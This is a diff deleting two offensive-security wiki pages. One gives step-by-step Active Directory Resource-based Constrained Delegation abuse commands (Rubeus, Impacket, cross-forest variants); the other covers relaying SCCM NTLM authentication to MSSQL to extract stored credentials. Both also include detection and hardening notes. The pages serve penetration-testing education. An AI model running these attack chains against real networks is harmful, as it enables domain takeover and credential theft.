-- [NetExec - Request PFX via scheduled task PR #908](https://github.com/Pennyw0rth/NetExec/pull/908)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
deleted file mode 100644
index 9d476f04d5b..00000000000
--- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
+++ /dev/null
@@ -1,395 +0,0 @@
-# Resource-based Constrained Delegation
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## Basics of Resource-based Constrained Delegation
-
-This is similar to the basic [Constrained Delegation](constrained-delegation.md) but **instead** of giving permissions to an **object** to **impersonate any user against a machine**. Resource-based Constrain Delegation **sets** in **the object who is able to impersonate any user against it**.
-
-In this case, the constrained object will have an attribute called _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ with the name of the user that can impersonate any other user against it.
-
-Another important difference from this Constrained Delegation to the other delegations is that any user with **write permissions over a machine account** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) can set the **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (In the other forms of Delegation you needed domain admin privs).
-
-### New Concepts
-
-Back in Constrained Delegation it was told that the **`TrustedToAuthForDelegation`** flag inside the _userAccountControl_ value of the user is needed to perform a **S4U2Self.** But that's not completely truth.\
-The reality is that even without that value, you can perform a **S4U2Self** against any user if you are a **service** (have a SPN) but, if you **have `TrustedToAuthForDelegation`** the returned TGS will be **Forwardable** and if you **don't have** that flag the returned TGS **won't** be **Forwardable**.
-
-However, if the **TGS** used in **S4U2Proxy** is **NOT Forwardable** trying to abuse a **basic Constrain Delegation** it **won't work**. But if you are trying to exploit a **Resource-Based constrain delegation, it will work**.
-
-### Attack structure
-
-> If you have **write equivalent privileges** over a **Computer** account you can obtain **privileged access** in that machine.
-
-Suppose that the attacker has already **write equivalent privileges over the victim computer**.
-
-1. The attacker **compromises** an account that has a **SPN** or **creates one** (“Service A”). Note that **any** _Admin User_ without any other special privilege can **create** up until 10 Computer objects (**_MachineAccountQuota_**) and set them a **SPN**. So the attacker can just create a Computer object and set a SPN.
-2. The attacker **abuses its WRITE privilege** over the victim computer (ServiceB) to configure **resource-based constrained delegation to allow ServiceA to impersonate any user** against that victim computer (ServiceB).
-3. The attacker uses Rubeus to perform a **full S4U attack** (S4U2Self and S4U2Proxy) from Service A to Service B for a user **with privileged access to Service B**.
-   1. S4U2Self (from the SPN compromised/created account): Ask for a **TGS of Administrator to me** (Not Forwardable).
-   2. S4U2Proxy: Use the **not Forwardable TGS** of the step before to ask for a **TGS** from **Administrator** to the **victim host**.
-   3. Even if you are using a not Forwardable TGS, as you are exploiting Resource-based constrained delegation, it will work.
-4. The attacker can **pass-the-ticket** and **impersonate** the user to gain **access to the victim ServiceB**.
-
-To check the _**MachineAccountQuota**_ of the domain you can use:
-
-```bash
-Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
-```
-
-## Attack
-
-### Creating a Computer Object
-
-You can create a computer object inside the domain using **[powermad](https://github.com/Kevin-Robertson/Powermad):**
-
-```bash
-import-module powermad
-New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
-
-# Check if created
-Get-DomainComputer SERVICEA
-```
-
-### Configuring Resource-based Constrained Delegation
-
-**Using activedirectory PowerShell module**
-
-```bash
-Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
-Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
-```
-
-**Using powerview**
-
-```bash
-$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
-$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
-$SDBytes = New-Object byte[] ($SD.BinaryLength)
-$SD.GetBinaryForm($SDBytes, 0)
-Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
-
-#Check that it worked
-Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
-
-msds-allowedtoactonbehalfofotheridentity
-----------------------------------------
-{1, 0, 4, 128...}
-```
-
-### Performing a complete S4U attack (Windows/Rubeus)
-
-First of all, we created the new Computer object with the password `123456`, so we need the hash of that password:
-
-```bash
-.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
-```
-
-This will print the RC4 and AES hashes for that account.\
-Now, the attack can be performed:
-
-```bash
-rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
-```
-
-You can generate more tickets for more services just asking once using the `/altservice` param of Rubeus:
-
-```bash
-rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
-```
-
-> [!CAUTION]
-> Note that users have an attribute called "**Cannot be delegated**". If a user has this attribute to True, you won't be able to impersonate him. This property can be seen inside bloodhound.
-
-### Linux tooling: end-to-end RBCD with Impacket (2024+)
-
-If you operate from Linux, you can perform the full RBCD chain using the official Impacket tools:
-
-```bash
-# 1) Create attacker-controlled machine account (respects MachineAccountQuota)
-impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'
-
-# 2) Grant RBCD on the target computer to FAKE01$
-#    -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity
-impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!'
-
-# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service
-impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123'
-
-# 4) Use the ticket (ccache) against the target service
-export KRB5CCNAME=$(pwd)/Administrator.ccache
-# Example: dump local secrets via Kerberos (no NTLM)
-impacket-secretsdump -k -no-pass Administrator@victim.domain.local
-```
-
-Notes
-- If LDAP signing/LDAPS is enforced, use `impacket-rbcd -use-ldaps ...`.
-- Prefer AES keys; many modern domains restrict RC4. Impacket and Rubeus both support AES-only flows.
-- Impacket can rewrite the `sname` ("AnySPN") for some tools, but obtain the correct SPN whenever possible (e.g., CIFS/LDAP/HTTP/HOST/MSSQLSvc).
-
-## Cross-domain & cross-forest RBCD
-
-If the **delegating principal** you control lives in a **different domain** (or even a **different forest**) than the **resource computer**, the abuse is still **RBCD**, but the ticket flow is no longer the usual single-domain `S4U2Self -> S4U2Proxy`.
-
-### Cross-domain RBCD: configure the foreign principal by SID
-
-When you set `msDS-AllowedToActOnBehalfOfOtherIdentity` from a **different domain**, the foreign machine/user might **not be resolvable by name** in the target domain LDAP. In that case, configure the delegation entry using the **SID** of the foreign principal instead of its sAMAccountName/UPN.
-
-This is especially relevant when relaying NTLM to LDAP with `ntlmrelayx.py`:
-
-```bash
-sudo ntlmrelayx.py -smb2support -t ldap://192.168.90.217 \
-  --no-dump --no-da --no-validate-privs \
-  --delegate-access \
-  --escalate-user S-1-5-21-3104832133-133926542-3798009529-1106 \
-  --sid
-```
-
-Notes:
-- `--sid` tells `ntlmrelayx.py` to treat `--escalate-user` as a SID, which is required when the delegating account is foreign to the target domain.
-- Even if the tool prints `User not found in LDAP`, the delegation write can still succeed because the security descriptor stores the foreign SID directly.
-
-### Cross-domain RBCD: cross-realm S4U sequence
-
-Once the foreign principal is in `msDS-AllowedToActOnBehalfOfOtherIdentity`, the working cross-domain flow is:
-
-1. Get a **TGT** for the delegating principal from its own domain.
-2. Request a **referral TGT** for `krbtgt/<target-domain>`.
-3. Request a **cross-realm S4U2Self referral** for the impersonated user on the target-domain DC.
-4. Request the actual **S4U2Self** ticket for that user back in the delegator domain.
-5. Perform **S4U2Proxy** in the delegator domain to get a referral ticket for the target domain.
-6. Perform the final **S4U2Proxy** on the target-domain DC to obtain the service ticket for `cifs/host.target`, `host/host.target`, etc.
-
-This is why stock Linux tooling often fails in cross-domain RBCD:
-- the request **realm** may need to differ from the realm of the TGT used in the `TGS-REQ`
-- the chain needs **independent S4U2Proxy steps**, not only `S4U2Self` or `S4U2Self` immediately followed by a single `S4U2Proxy`
-
-### Cross-domain RBCD from Linux
-
-Synacktiv published an Impacket `getST.py` implementation that reproduces the cross-realm sequence from Linux by explicitly handling the two KDCs:
-
-```bash
-python3 ./getST.py dev.asgard.local/rbcd_test\$:R[...]5 -k \
-  -dc-ip 192.168.90.131 \
-  -targetdc 192.168.90.217 \
-  -targetdomain asgard.local \
-  -impersonate thor_adm \
-  -spn cifs/workstation.asgard.local
-
-KRB5CCNAME=thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache \
-  ./smbclient.py "asgard.local/thor_adm@workstation.asgard.local" \
-  -k -no-pass -dc-ip 192.168.90.217
-```
-
-Operationally, the new arguments are:
-- `-dc-ip`: DC of the **delegating** domain
-- `-targetdomain`: domain of the **resource computer**
-- `-targetdc`: DC of the **resource** domain
-
-### Cross-forest RBCD limitations
-
-Cross-forest RBCD has an important limitation: **the impersonated user must belong to the same forest as the delegating principal**. In other words, if your controlled machine account is in `valhalla.local` and the target resource is in `asgard.local`, you generally **cannot** impersonate arbitrary `asgard.local` users to that resource via RBCD.
-
-It is still exploitable when:
-- the **delegating forest** user is a **local admin** (or otherwise privileged) on the resource host in the other forest
-- a trust allows the required authentication path and the foreign SID is accepted in the target computer's security descriptor
-
-### Cross-forest RBCD protocol quirks
-
-Cross-forest RBCD is not just "cross-domain plus a trust". The observed flow includes two quirks that common tooling historically misses:
-
-1. An extra **S4U2Proxy** request that sets **`PA-PAC-OPTIONS=branch-aware`**
-2. A final service ticket that may be returned using **RC4** even when other etypes were requested
-
-The practical flow is:
-
-1. Get a TGT for the delegating principal in forest A.
-2. Request **S4U2Self** for the impersonated user in forest A.
-3. Request **S4U2Proxy** in forest A to obtain a referral TGT for forest B.
-4. Send a second **S4U2Proxy** in forest A **without** the S4U2Self ticket as an additional ticket, but with `branch-aware` enabled, to obtain another referral TGT for forest B.
-5. Optionally request a normal service ticket in forest B for the delegating principal (this ticket is not required for the final abuse).
-6. Use the referral tickets from steps 3 and 4 to request the final **S4U2Proxy** ticket in forest B for the impersonated forest-A user to the target SPN.
-
-### Cross-forest RBCD from Linux
-
-The same Synacktiv Impacket branch adds a `-forest` switch for this logic:
-
-```bash
-python3 ./getST.py -spn 'cifs/workstation.asgard.local' \
-  -impersonate 'v_thor' \
-  -dc-ip VALHALLA.local \
-  valhalla.local/'desktop$' \
-  -targetdc ASGARD.local \
-  -targetdomain asgard.local \
-  -aesKey 4[...]f \
-  -forest
-```
-
-### Recursive multi-domain RBCD (3+ domains)
-
-In **multi-domain forests**, both **S4U2Self** and **S4U2Proxy** can be **recursive** instead of stopping after one referral:
-
-- **Recursive S4U2Self**: the first `S4U2Self` is sent to the **impersonated user's domain**, intermediate parent/child hops are traversed with normal `TGS-REQ` referrals for `krbtgt/<REALM>`, and the **final `S4U2Self`** is sent in the **delegating principal's own domain**.
-- This means that **just holding a TGT** for a machine account can be enough to impersonate an **admin from another domain in the same forest** and request `cifs/host`, `host/host`, `wsman/host`, etc.
-- **Recursive S4U2Proxy** follows the trust chain in the same way: intermediate hops reuse the previous ticket as the TGT while requesting the next `krbtgt/<REALM>` referral, and only the last hop returns the final service ticket.
-
-A practical same-forest example is:
-
-```bash
-KRB5CCNAME=MIN-FRPERSO-01\$.ccache getST.py 'minus.sub.frperso.local/MIN-FRPERSO-01$' -k -no-pass \
-  -impersonate Administrator@frperso.local -self \
-  -altservice cifs/min-frperso-01.minus.sub.frperso.local
-
-KRB5CCNAME=Administrator@frperso.local@cifs_min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL.ccache \
-  smbclient.py frperso.local/Administrator@min-frperso-01.minus.sub.frperso.local -k -no-pass
-```
-
-### SPN-less cross-domain / cross-forest RBCD
-
-If the **delegating principal is a user without an SPN**, the last recursive `S4U2Self` fails with **`KDC_ERR_S_PRINCIPAL_UNKNOWN`**. The workaround is to **retry only the final hop as `S4U2Self+U2U`**.
-
-Short version of the abuse chain:
-
-1. Authenticate with the **NT hash** so the KDC is pushed toward **RC4-HMAC (etype 23)**.
-2. Request **`-self -u2u`** first and keep that ticket separate from the later proxy step.
-3. Extract the **TGT session key** with `describeTicket.py`.
-4. Replace the user's **NT hash** with that **session key** using `changepasswd.py -newhashes <session_key>`.
-5. Reuse the `S4U2Self+U2U` ticket as the **`-additional-ticket`** during a separate **`-proxy`** request.
-
-```bash
-getST.py sub.frperso.local/Administrator -hashes ':<nthash>' \
-  -impersonate Administrator@frperso.local -self -u2u
-describeTicket.py Administrator.ccache
-changepasswd.py sub.frperso.local/Administrator@sub-frperso-01.sub.frperso.local \
-  -hashes ':<nthash>' -newhashes <tgt_session_key>
-KRB5CCNAME=Administrator.ccache getST.py sub.frperso.local/Administrator -k -no-pass \
-  -impersonate Administrator@frperso.local -proxy -proxydomain frpublic.local \
-  -spn cifs/frpublic-01.frpublic.local -additional-ticket '<u2u_ticket.ccache>'
-```
-
-Operational caveats:
-
-- When the **first trusted hop is already another forest**, prefer the **branch-aware** algorithm (`getST.py ... -forest`) to match native Windows behavior. If the foreign forest is only reached **later** in the chain, the non-branch-aware recursive flow may still work.
-- On recent **Windows Server 2022/2025** DCs, forced RC4 can fail with **`KDC_ERR_ETYPE_NOSUPP`** because of RC4 deprecation; this can make **SPN-less RBCD impossible** even though classic SPN-backed RBCD still works with AES.
-- Run **`S4U2Self+U2U` before changing the user's hash/password**: `SamrChangePasswordUser` does **not** recompute the account's Kerberos AES keys, so doing the password change first can break later ticket requests.
-- The impersonated account must still be **delegable**: **Protected Users** and accounts with **`NOT_DELEGATED`** / **"Account is sensitive and cannot be delegated"** block the chain.
-
-## Detection / hardening notes
-
-- RBCD paths across domains/forests are still usually created through **ACL abuse** or **relay-to-LDAP**. Enforce **LDAP signing** and **LDAP channel binding** on DCs to break common setup paths.
-- Audit who can write `msDS-AllowedToActOnBehalfOfOtherIdentity` on computer objects and resolve the stored SIDs, including **foreign security principals**.
-- In trust-heavy environments, review **Selective Authentication**, **SID filtering**, and whether users from a foreign forest hold **local admin** rights on resource hosts.
-
-### Accessing
-
-The last command line will perform the **complete S4U attack and will inject the TGS** from Administrator to the victim host in **memory**.\
-In this example it was requested a TGS for the **CIFS** service from Administrator, so you will be able to access **C$**:
-
-```bash
-ls \\victim.domain.local\C$
-```
-
-### Abuse different service tickets
-
-Learn about the [**available service tickets here**](silver-ticket.md#available-services).
-
-## Enumerating, auditing and cleanup
-
-### Enumerate computers with RBCD configured
-
-PowerShell (decoding the SD to resolve SIDs):
-
-```powershell
-# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
-Import-Module ActiveDirectory
-Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
-  Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
-  ForEach-Object {
-    $raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity"
-    $sd  = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0
-    $sd.DiscretionaryAcl | ForEach-Object {
-      $sid  = $_.SecurityIdentifier
-      try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value }
-      [PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask }
-    }
-  }
-```
-
-Impacket (read or flush with one command):
-
-```bash
-# Read who can delegate to VICTIM
-impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'
-```
-
-### Cleanup / reset RBCD
-
-- PowerShell (clear the attribute):
-
-```powershell
-Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
-# Or using the friendly property
-Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null
-```
-
-- Impacket:
-
-```bash
-# Remove a specific principal from the SD
-impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!'
-# Or flush the whole list
-impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!'
-```
-
-## Kerberos Errors
-
-- **`KDC_ERR_ETYPE_NOTSUPP`**: This means that kerberos is configured to not use DES or RC4 and you are supplying just the RC4 hash. Supply to Rubeus at least the AES256 hash (or just supply it the rc4, aes128 and aes256 hashes). Example: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
-- **`KDC_ERR_S_PRINCIPAL_UNKNOWN`** during `-self` for a normal user: the delegating principal likely **has no SPN**. Retry the **last hop** as **`S4U2Self+U2U`** instead of a regular `S4U2Self`.
-- **`KDC_ERR_ETYPE_NOSUPP`** during **SPN-less RBCD**: recent DCs may reject the forced **RC4-HMAC** path required by the `S4U2Self+U2U` + session-key-substitution trick. Try a classic **SPN-backed** RBCD path with AES instead.
-- **`KRB_AP_ERR_SKEW`**: This means that the time of the current computer is different from the one of the DC and kerberos is not working properly.
-- **`preauth_failed`**: This means that the given username + hashes aren't working to login. You may have forgotten to put the "$" inside the username when generating the hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
-- **`KDC_ERR_BADOPTION`**: This may mean:
-  - The user you are trying to impersonate cannot access the desired service (because you cannot impersonate it or because it doesn't have enough privileges)
-  - The asked service doesn't exist (if you ask for a ticket for winrm but winrm isn't running)
-  - The fakecomputer created has lost it's privileges over the vulnerable server and you need to given them back.
-  - You are abusing classic KCD; remember RBCD works with non-forwardable S4U2Self tickets, while KCD requires forwardable.
-
-## Notes, relays and alternatives
-
-- You can also write the RBCD SD over AD Web Services (ADWS) if LDAP is filtered. See:
-
-
-{{#ref}}
-adws-enumeration.md
-{{#endref}}
-
-- Kerberos relay chains frequently end in RBCD to achieve local SYSTEM in one step. See practical end-to-end examples:
-
-
-{{#ref}}
-../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
-{{#endref}}
-
-- If LDAP signing/channel binding are **disabled** and you can create a machine account, tools like **KrbRelayUp** can relay a coerced Kerberos auth to LDAP, set `msDS-AllowedToActOnBehalfOfOtherIdentity` for your machine account on the target computer object, and immediately impersonate **Administrator** via S4U from off-host.
-
-## References
-
-- [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
-- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
-- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
-- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
-- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
-- Impacket rbcd.py (official): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
-- Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/
-- [0xdf – HTB Bruno (LDAP signing off → Kerberos relay to RBCD)](https://0xdf.gitlab.io/2026/02/24/htb-bruno.html)
-- [Synacktiv - Exploring cross-domain & cross-forest RBCD](https://www.synacktiv.com/en/publications/exploring-cross-domain-cross-forest-rbcd.html)
-- [Synacktiv - Exploring cross-domain & cross-forest RBCD: part 2](https://www.synacktiv.com/en/publications/exploring-cross-domain-cross-forest-rbcd-part-2.html)
-- [Synacktiv Impacket branch - cross_forest_rbcd](https://github.com/synacktiv/impacket/tree/cross_forest_rbcd)
-- [Microsoft Learn - Kerberos constrained delegation overview](https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview)
-- [Microsoft Open Specifications - Cross-domain S4U2Self](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/f35b6902-6f5e-4cd0-be64-c50bbaaf54a5)
-- [Microsoft Open Specifications - SamrChangePasswordUser](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476)
-- [Microsoft Learn - Detect and remediate RC4 usage in Kerberos](https://learn.microsoft.com/en-us/windows-server/security/kerberos/detect-remediate-rc4-kerberos)
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md
deleted file mode 100644
index b79ab265df5..00000000000
--- a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md
+++ /dev/null
@@ -1,175 +0,0 @@
-# SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## TL;DR
-By coercing a **System Center Configuration Manager (SCCM) Management Point (MP)** to authenticate over SMB/RPC and **relaying** that NTLM machine account to the **site database (MSSQL)** you obtain `smsdbrole_MP` / `smsdbrole_MPUserSvc` rights.  These roles let you call a set of stored procedures that expose **Operating System Deployment (OSD)** policy blobs (Network Access Account credentials, Task-Sequence variables, etc.).  The blobs are hex-encoded/encrypted but can be decoded and decrypted with **PXEthief**, yielding plaintext secrets.
-
-High-level chain:
-1. Discover MP & site DB ↦ unauthenticated HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
-2. Start `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
-3. Coerce MP using **PetitPotam**, PrinterBug, DFSCoerce, etc.
-4. Through the SOCKS proxy connect with `mssqlclient.py -windows-auth` as the relayed **<DOMAIN>\\<MP-host>$** account.
-5. Execute:
-   * `use CM_<SiteCode>`
-   * `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
-   * `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'`   (or `MP_GetPolicyBodyAfterAuthorization`)
-6. Strip `0xFFFE` BOM, `xxd -r -p` → XML  → `python3 pxethief.py 7 <hex>`.
-
-Secrets such as `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, etc. are recovered without touching PXE or clients.
-
----
-
-## 1. Enumerating unauthenticated MP endpoints
-The MP ISAPI extension **GetAuth.dll** exposes several parameters that don’t require authentication (unless the site is PKI-only):
-
-| Parameter | Purpose |
-|-----------|---------|
-| `MPKEYINFORMATIONMEDIA` | Returns site signing cert public key + GUIDs of *x86* / *x64* **All Unknown Computers** devices. |
-| `MPLIST` | Lists every Management-Point in the site. |
-| `SITESIGNCERT` | Returns Primary-Site signing certificate (identify the site server without LDAP). |
-
-Grab the GUIDs that will act as the **clientID** for later DB queries:
-```bash
-curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
-```
-
----
-
-## 2. Relay the MP machine account to MSSQL
-```bash
-# 1. Start the relay listener (SMB→TDS)                              
-ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
-
-# 2. Trigger authentication from the MP (PetitPotam example)
-python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-       -u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
-```
-When the coercion fires you should see something like:
-```
-[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
-[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
-```
-
----
-
-## 3. Identify OSD policies via stored procedures
-Connect through the SOCKS proxy (port 1080 by default):
-```bash
-proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
-```
-Switch to the **CM_<SiteCode>** DB (use the 3-digit site code, e.g. `CM_001`).
-
-### 3.1  Find Unknown-Computer GUIDs (optional)
-```sql
-USE CM_001;
-SELECT SMS_Unique_Identifier0
-FROM dbo.UnknownSystem_DISC
-WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
-```
-
-### 3.2  List assigned policies
-```sql
-EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
-```
-Each row contains `PolicyAssignmentID`,`Body` (hex), `PolicyID`, `PolicyVersion`.
-
-Focus on policies:
-* **NAAConfig**  – Network Access Account creds
-* **TS_Sequence** – Task Sequence variables (OSDJoinAccount/Password)
-* **CollectionSettings** – Can contain run-as accounts
-
-### 3.3  Retrieve full body
-If you already have `PolicyID` & `PolicyVersion` you can skip the clientID requirement using:
-```sql
-EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
-```
-> IMPORTANT: In SSMS increase “Maximum Characters Retrieved” (>65535) or the blob will be truncated.
-
----
-
-## 4. Decode & decrypt the blob
-```bash
-# Remove the UTF-16 BOM, convert from hex → XML
-echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
-
-# Decrypt with PXEthief (7 = decrypt attribute value)
-python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
-```
-Recovered secrets example:
-```
-OSDJoinAccount : CONTOSO\\joiner
-OSDJoinPassword: SuperSecret2025!
-NetworkAccessUsername: CONTOSO\\SCCM_NAA
-NetworkAccessPassword: P4ssw0rd123
-```
-
----
-
-## 5. Relevant SQL roles & procedures
-Upon relay the login is mapped to:
-* `smsdbrole_MP`
-* `smsdbrole_MPUserSvc`
-
-These roles expose dozens of EXEC permissions, the key ones used in this attack are:
-
-| Stored Procedure | Purpose |
-|------------------|---------|
-| `MP_GetMachinePolicyAssignments` | List policies applied to a `clientID`. |
-| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Return complete policy body. |
-| `MP_GetListOfMPsInSiteOSD` | Returned by `MPKEYINFORMATIONMEDIA` path. |
-
-You can inspect the full list with:
-```sql
-SELECT pr.name
-FROM   sys.database_principals AS dp
-JOIN   sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
-JOIN   sys.objects AS pr ON pr.object_id = pe.major_id
-WHERE  dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
-  AND  pe.permission_name='EXECUTE';
-```
-
----
-
-## 6. PXE boot media harvesting (SharpPXE)
-* **PXE reply over UDP/4011**: send a PXE boot request to a Distribution Point configured for PXE. The proxyDHCP response reveals boot paths such as `SMSBoot\\x64\\pxe\\variables.dat` (encrypted config) and `SMSBoot\\x64\\pxe\\boot.bcd`, plus an optional encrypted key blob.
-* **Retrieve boot artifacts via TFTP**: use the returned paths to download `variables.dat` over TFTP (unauthenticated). The file is small (a few KB) and contains the encrypted media variables.
-* **Decrypt or crack**:
-  - If the response includes the decryption key, feed it to **SharpPXE** to decrypt `variables.dat` directly.
-  - If no key is provided (PXE media protected by a custom password), SharpPXE emits a **Hashcat-compatible** `$sccm$aes128$...` hash for offline cracking. After recovering the password, decrypt the file.
-* **Parse decrypted XML**: plaintext variables contain SCCM deployment metadata (**Management Point URL**, **Site Code**, media GUIDs, and other identifiers). SharpPXE parses them and prints a ready-to-run **SharpSCCM** command with GUID/PFX/site parameters prefilled for follow-on abuse.
-* **Requirements**: only network reachability to the PXE listener (UDP/4011) and TFTP; no local admin privileges are needed.
-
----
-
-## 7. Detection & Hardening
-1. **Monitor MP logins** – any MP computer account logging in from an IP that isn’t its host ≈ relay.
-2. Enable **Extended Protection for Authentication (EPA)** on the site database (`PREVENT-14`).
-3. Disable unused NTLM, enforce SMB signing, restrict RPC (
-   same mitigations used against `PetitPotam`/`PrinterBug`).
-4. Harden MP ↔ DB communication with IPSec / mutual-TLS.
-5. **Constrain PXE exposure** – firewall UDP/4011 and TFTP to trusted VLANs, require PXE passwords, and alert on TFTP downloads of `SMSBoot\\*\\pxe\\variables.dat`.
-
----
-
-## See also
-* NTLM relay fundamentals:
-  
-{{#ref}}
-  ../ntlm/README.md
-  {{#endref}}
-
-* MSSQL abuse & post-exploitation:
-  
-{{#ref}}
-  abusing-ad-mssql.md
-  {{#endref}}
-
-
-
-## References
-- [I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
-- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
-- [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
-- [SharpPXE](https://github.com/leftp/SharpPXE)
-{{#include ../../banners/hacktricks-training.md}}
